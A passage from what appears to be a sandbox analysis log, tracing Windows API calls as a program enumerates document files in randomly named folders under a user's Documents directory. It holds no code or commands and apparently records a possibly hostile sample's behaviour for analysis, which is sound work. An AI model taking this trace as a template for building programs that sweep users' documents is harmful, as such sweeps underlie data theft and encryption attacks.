psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.931] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f51d80, ftCreationTime.dwHighDateTime=0x1d5e155, ftLastAccessTime.dwLowDateTime=0x1e336960, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x1e336960, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x15323, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hOfB.docx", cAlternateFileName="HOFB~1.DOC")) returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.931] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", len=0x45 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx") returned 1 [0165.932] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb340dc0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0xd004c960, ftLastAccessTime.dwHighDateTime=0x1d5dc1b, ftLastWriteTime.dwLowDateTime=0xd004c960, ftLastWriteTime.dwHighDateTime=0x1d5dc1b, nFileSizeHigh=0x0, nFileSizeLow=0x123ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JKBW.rtf", cAlternateFileName="")) returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\hOfB.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.932] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf") returned 1 [0165.933] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x231e930, ftCreationTime.dwHighDateTime=0x1d5dbfa, ftLastAccessTime.dwLowDateTime=0x9c4818a0, ftLastAccessTime.dwHighDateTime=0x1d5e861, ftLastWriteTime.dwLowDateTime=0x9c4818a0, ftLastWriteTime.dwHighDateTime=0x1d5e861, nFileSizeHigh=0x0, nFileSizeLow=0xd95f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jstbob3.odt", cAlternateFileName="")) returned 1 [0165.933] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\JKBW.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.933] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.933] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.933] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.934] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.934] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.934] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt") returned 1 [0165.934] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1068560, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x7daf970, ftLastAccessTime.dwHighDateTime=0x1d5d92b, ftLastWriteTime.dwLowDateTime=0x7daf970, ftLastWriteTime.dwHighDateTime=0x1d5d92b, nFileSizeHigh=0x0, nFileSizeLow=0xdb7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L6-4mLEDrB0YMOdwi.docx", cAlternateFileName="L6-4ML~1.DOC")) returned 1 [0165.934] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\Jstbob3.odt", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.934] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", len=0x52 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx") returned 1 [0165.935] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1068560, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x7daf970, ftLastAccessTime.dwHighDateTime=0x1d5d92b, ftLastWriteTime.dwLowDateTime=0x7daf970, ftLastWriteTime.dwHighDateTime=0x1d5d92b, nFileSizeHigh=0x0, nFileSizeLow=0xdb7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L6-4mLEDrB0YMOdwi.docx", cAlternateFileName="L6-4ML~1.DOC")) returned 0 [0165.935] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.936] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*") returned 1 [0165.937] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee82260, ftCreationTime.dwHighDateTime=0x1d5d85d, ftLastAccessTime.dwLowDateTime=0xd61e7f80, ftLastAccessTime.dwHighDateTime=0x1d5dbee, ftLastWriteTime.dwLowDateTime=0xd61e7f80, ftLastWriteTime.dwHighDateTime=0x1d5dbee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\L6-4mLEDrB0YMOdwi.docx", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.") returned 1 [0165.938] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee82260, ftCreationTime.dwHighDateTime=0x1d5d85d, ftLastAccessTime.dwLowDateTime=0xd61e7f80, ftLastAccessTime.dwHighDateTime=0x1d5dbee, ftLastWriteTime.dwLowDateTime=0xd61e7f80, ftLastWriteTime.dwHighDateTime=0x1d5dbee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.938] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\.", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", psz="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\z8Q_yDu1jaODNbm6Rg\\..") returned 1 [0165.939] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, 